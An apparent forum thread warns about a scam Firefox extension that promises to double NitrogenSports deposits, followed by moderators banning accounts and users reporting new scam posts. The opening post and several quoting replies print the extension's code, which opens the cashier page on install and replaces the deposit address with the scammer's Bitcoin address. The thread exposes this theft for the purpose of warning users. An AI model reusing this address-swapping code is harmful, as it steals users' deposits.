A scam targeting NitrogenSports users

[OmegaStarScream]

So, I found this user (I nuked him already) who was trying to make people download his extension that will (according to him) allow you to get a promotion code that will double your deposited coins. Obviously, it doesn't.

I've checked the extension's source code and it appears that once installed, the extension will open a new tab in your browser, redirect you to Nitrogen's cashier page (where you deposit the funds), and then change's the deposit address to the scammer's:

Code:

    browser.runtime.onInstalled.addListener(function() {

      browser.tabs.create({
        url: 'https://nitrogensports.eu/n/cashier',
        active: true
      });

      return false;
    });

Code:

    document.getElementById("nav-address")
        .innerHTML = '1EwvDZRco1SE5CdwH5rNS5K6i9WrsRhWQ9';
    document.getElementById("cashier-balance-label")
        .innerHTML = '<span id="support-notify-active" class="badge badge-roundless badge-success">100% Deposit Bonus - Awaiting deposit...</span><br>Current balance:<br></div>';
    clearInterval(interval);
}, 1000);

I already reported the extension to Firefox so if you want to help, please do the same. It only takes a few seconds.

[NitrogenSports]

Hi OmegaStarScream! Huge thanks for this. We are aware of this extension and have reported it as well.

We want to warn everyone to stay vigilant and to only use Nitrogen Sports' official channels.

More info about the official channels/platforms we use here.

Don't hesitate to contact us if you encounter unofficial accounts or sketchy apps/extensions.

Thanks,
Kevin - Nitrogen Sports marketing rep.

[andulolika]

So, I found this user (I nuked him already) who was trying to make people download his extension that will (according to him) allow you to get a promotion code that will double your deposited coins. Obviously, it doesn't.

I've checked the extension's source code and it appears that once installed, the extension will open a new tab in your browser, redirect you to Nitrogen's cashier page (where you deposit the funds), and then change's the deposit address to the scammer's:

Code:

    browser.runtime.onInstalled.addListener(function() {

      browser.tabs.create({
        url: 'https://nitrogensports.eu/n/cashier',
        active: true
      });

      return false;
    });

Code:

    document.getElementById("nav-address")
        .innerHTML = '1EwvDZRco1SE5CdwH5rNS5K6i9WrsRhWQ9';
    document.getElementById("cashier-balance-label")
        .innerHTML = '<span id="support-notify-active" class="badge badge-roundless badge-success">100% Deposit Bonus - Awaiting deposit...</span><br>Current balance:<br></div>';
    clearInterval(interval);
}, 1000);

I already reported the extension to Firefox so if you want to help, please do the same. It only takes a few seconds.

Said you nuked him but I seen his rating clean.
Anyhow thanks for pointing out I had reported to mozilla one similar in the past.

Edit:
I expected it would help newbies when seeing his profile, seemingly since beginning of year he raised a bit over .2 btc this way.

However i was completely ignorant "nuking" means ban so yeah that might be a bit more effective .

[Avirunes]

Said you nuked him but I seen his rating clean.
Anyhow thanks for pointing out I had reported to mozilla one similar in the past.

Nuking doesn't have any effects on rating whatsoever. It will remain the same. They are just banned and all their posts are deleted from the forum.

GJ @OmegaStarScream

[rdbase]

There was a post, several actually, from a similar newbie account telling others of a double your deposit amount on stake using the same extension but for chrome.
All their posts are gone which were in various topics including services and gambling discussion.
Reported it to stake and they said they were aware of this scam attempt from a while ago.
Didnt know how it exactly worked but from the sounds of it they have a way to have their address to be copied over with a copy&paste function in the extension.
Highly avoid doing these type of "cheating the system" on gambling platforms because you will likely be the victim trying to "double your balance" via an exploit. Where stake is very tight on security when it comes to these scam jobs making the rounds.

[OmegaStarScream]

There was a post, several actually, from a similar newbie account telling others of a double your deposit amount on stake using the same extension but for chrome.
All their posts are gone which were in various topics including services and gambling discussion.
Reported it to stake and they said they were aware of this scam attempt from a while ago.
Didnt know how it exactly worked but from the sounds of it they have a way to have their address to be copied over with a copy&paste function in the extension.
Highly avoid doing these type of "cheating the system" on gambling platforms because you will likely be the victim trying to "double your balance" via an exploit. Where stake is very tight on security when it comes to these scam jobs making the rounds.

I came across these posts as well, and I nuked the accounts. I would appreciate it if you can report both the video[1] and Pastebin link[2] (where the code is hosted):

[1] https://www.youtube.com/watch?v=ND-8KNqlaNE
[2] https://pastebin.com/D7YNynj5

[TryNinja]

Pumping this because the same scammer is back with another account.

User: avairo

One of his posts (he posted it in 3 different boards): https://bitcointalk.org/index.php?topic=5232305.0
Archive: https://archive.is/wip/f2hiy

Can you nuke him as well?

[AlexSimion]

Edited as I see Ninja already pointed it out.

Unfortunately I'm sure this guy will most likely pop-up with a different account sooner or later.

[OmegaStarScream]

Pumping this because the same scammer is back with another account.

User: avairo

One of his posts (he posted it in 3 different boards): https://bitcointalk.org/index.php?topic=5232305.0
Archive: https://archive.is/wip/f2hiy

Can you nuke him as well?

It's done, thanks! Feel free to P.M me if you find other accounts.

[The Cryptovator]

I think this user called hasker123 trying to promote scams thing. He have made thread on B&H section and he locked the thread (Archived thread). Seems he have mentioned about mozilla firefox addon and double bitcoin scheme. So obviously this is a phishing attempt IMHO. Website Archived here where asking to download and install addon. @OP can you please check it? Sent PM & reported as well. I have tagged him for meantime.

[OmegaStarScream]

I think this user called hasker123 trying to promote scams thing. He have made thread on B&H section and he locked the thread (Archived thread). Seems he have mentioned about mozilla firefox addon and double bitcoin scheme. So obviously this is a phishing attempt IMHO. Website Archived here where asking to download and install addon. @OP can you please check it? Sent PM & reported as well. I have tagged him for meantime.

I apologize for the late response. I was asleep. it seems like another staff member took care of it already so thanks for reporting!
It appears that this scam is still ongoing (probably outside of bitcointalk): https://www.blockchain.com/btc/address/1EwvDZRco1SE5CdwH5rNS5K6i9WrsRhWQ9 (The address from OP) has some recent transactions.

[suchmoon]

Seems like this scam is still going on. Just reported a new one: https://bitcointalk.org/index.php?action=profile;u=2827986

Edit: there's a fuckload of them:

https://bitcointalk.org/index.php?action=profile;u=2827984
https://bitcointalk.org/index.php?action=profile;u=2827983
https://bitcointalk.org/index.php?action=profile;u=2827982

Just from the most recent patrol posts.

[The Cryptovator]

Few more fucking scammer popups today again.
1. https://bitcointalk.org/index.php?topic=5261634.0 - (Archived)
2. https://bitcointalk.org/index.php?topic=5261637.0 - (Archived)
3. https://bitcointalk.org/index.php?topic=5261638.0 - (Archived)
4. https://bitcointalk.org/index.php?topic=5261639.0 - (Archived)
5. https://bitcointalk.org/index.php?topic=5261640.0 - (Archived)
6. https://bitcointalk.org/index.php?topic=5261646.0 - (Archived)
7. https://bitcointalk.org/index.php?topic=5261647.0 - (Archived)
8. https://bitcointalk.org/index.php?topic=5261651.0 - (Archived)

All posts have been reported.

Edit; added one more.

[TalkStar]

Few more fucking scammer popups today again.
1. https://bitcointalk.org/index.php?topic=5261634.0 - (Archived)
2. https://bitcointalk.org/index.php?topic=5261637.0 - (Archived)
3. https://bitcointalk.org/index.php?topic=5261638.0 - (Archived)
4. https://bitcointalk.org/index.php?topic=5261639.0 - (Archived)
5. https://bitcointalk.org/index.php?topic=5261640.0 - (Archived)
6. https://bitcointalk.org/index.php?topic=5261646.0 - (Archived)
7. https://bitcointalk.org/index.php?topic=5261647.0 - (Archived)

All posts have been reported.

Mods have already taken appropriate actions against all these topics. You did your best by submitting report but everytime its not possible to detect them so fast. This type of scammer will change their way again and again but peoples awareness is the best solution.   

[The Cryptovator]

Scammers still exist on the forum although have nuked lots of accounts. I can't see any other way to prevent them except ban the phishing link. Post has made yesterday, means still now no one had reported to moderators and that's how newbies would fall into this trap.

Here is link;
1.https://bitcointalk.org/index.php?topic=5261798.0 - (Archived) reported to moderators.

I will add more link if I found new.

[TryNinja]

I can't see any other way to prevent them except ban the phishing link.

They can easily change the URL in minutes, though. That isn't going to work.

Even if theymos just disabled all links until the user becomes a Jr. Member, they could still break it to appear as plain text. It's basically a cat and mouse game. All we can do is report and tag the users as soon as possible.

[infinitesimal]

This scam is still spreading here : https://bitcointalk.org/index.php?topic=5263814.0


I reported the extension to Firefox, hope they take it down soon.

[OmegaStarScream]

This scam is still spreading here : https://bitcointalk.org/index.php?topic=5263814.0


I reported the extension to Firefox, hope they take it down soon.

Nuked. Thanks!

I doubt that reporting the addon would do anything though. I've been reporting the link (that I posted in the original post) for a long time now and they haven't done anything about it.

[infinitesimal]

This scam is still spreading here : https://bitcointalk.org/index.php?topic=5263814.0


I reported the extension to Firefox, hope they take it down soon.

Nuked. Thanks!

I doubt that reporting the addon would do anything though. I've been reporting the link (that I posted in the original post) and they haven't done anything.

That's really cool and fast. I can't see the topic I linked now

I just saw a topic https://bitcointalk.org/index.php?topic=5251119.0, explaing how one could report similar fake extensions on Firefox and specifically NitrogenSports ones, but it doesn't seem to help really as you said, many users here are already reporting in the same way I did from longer time with no results.

[SiNeReiNZzz]

Please check this: https://bitcointalk.org/index.php?topic=5267690.msg0;topicseen#new

This is similiar to yours...